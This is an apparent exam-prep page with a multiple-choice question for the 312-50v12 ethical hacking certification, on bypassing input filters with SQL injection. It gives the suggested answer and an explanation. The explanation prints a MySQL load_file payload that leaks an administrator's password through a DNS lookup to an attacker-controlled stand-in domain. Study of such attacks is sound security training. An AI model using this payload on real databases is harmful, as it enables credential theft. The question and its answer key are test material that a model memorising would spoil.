ExamGecko
Question list
Search
Search

Related questions











Question 519 - 312-50v12 discussion

Report
Export

As an IT Security Analyst, you've been asked to review the security measures of an e-commerce website that relies on a SQL database for storing sensitive customer data. Recently, an anonymous tip has alerted you to a possible threat: a seasoned hacker who specializes in SQL Injection attacks may be targeting your system. The site already employs input validation measures to prevent basic injection attacks, and it blocks any user inputs containing suspicious patterns. However, this hacker is known to use advanced SQL Injection techniques. Given this situation, which of the following strategies would the hacker most likely adopt to bypass your security measures?

A.
The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests
Answers
A.
The hacker could deploy an 'out-of-band' SQL Injection attack, extracting data via a different communication channel, such as DNS or HTTP requests
B.
The hacker may resort to a DDoS attack instead, attempting to crash the server and thus render the e commerce site unavailable
Answers
B.
The hacker may resort to a DDoS attack instead, attempting to crash the server and thus render the e commerce site unavailable
C.
The hacker may try to use SQL commands which are less known and less likely to be blocked by your system's security
Answers
C.
The hacker may try to use SQL commands which are less known and less likely to be blocked by your system's security
D.
The hacker might employ a blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit
Answers
D.
The hacker might employ a blind' SQL Injection attack, taking advantage of the application's true or false responses to extract data bit by bit
Suggested answer: A

Explanation:

An 'out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses.The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password1.

1: Out-of-band SQL injection | Learn AppSec | Invicti

2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy

3: SQLi part 6: Out-of-band SQLi | Acunetix

asked 18/09/2024
HC KONG
42 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first